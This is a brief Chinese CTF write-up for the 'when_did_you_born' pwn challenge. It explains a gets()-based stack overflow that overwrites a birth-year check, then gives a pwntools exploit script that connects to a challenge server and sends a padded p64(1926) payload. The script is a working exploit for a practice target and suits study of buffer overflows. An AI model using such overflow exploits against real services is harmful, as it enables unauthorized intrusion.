*pwn*练习1——攻防世界-when_did_you_born
先打开程序运行一下,没有得到flag相关信息,nc连接,file检查一下,是64位文件,放到ida中分析一下
发现漏洞点gets,gets这个函数现在不怎么用了,它用作填充,很容易造成栈溢出的问题,即无限填充。
我们把v5填在这个位置,先第一关,如果是1926就直接退出
这个题是一个栈覆盖问题,gets(v4)会覆盖v5的数据,即先让v5不等于1926,覆盖之后再修改v5的值。
根据这个来写脚本
from pwn import *
kubopiy=remote("220.249.52.133",46224)#进行连接
payload=b'a'*(0x20-0x18)+p64(1926)#b是字节,填入这么多的a,再加一个打包好的1926
kubopiy.recvuntil("What's Your Birth?")#接收到那一句话
kubopiy.sendline("1900")#发送一个非1926的数字
kubopiy.recvuntil("What's Your Name?")#接收到那一句话
kubopiy.sendline(payload)#发送一个非1926的数字
kubopiy.interactive()
这里在下pwn包的时候要注意路径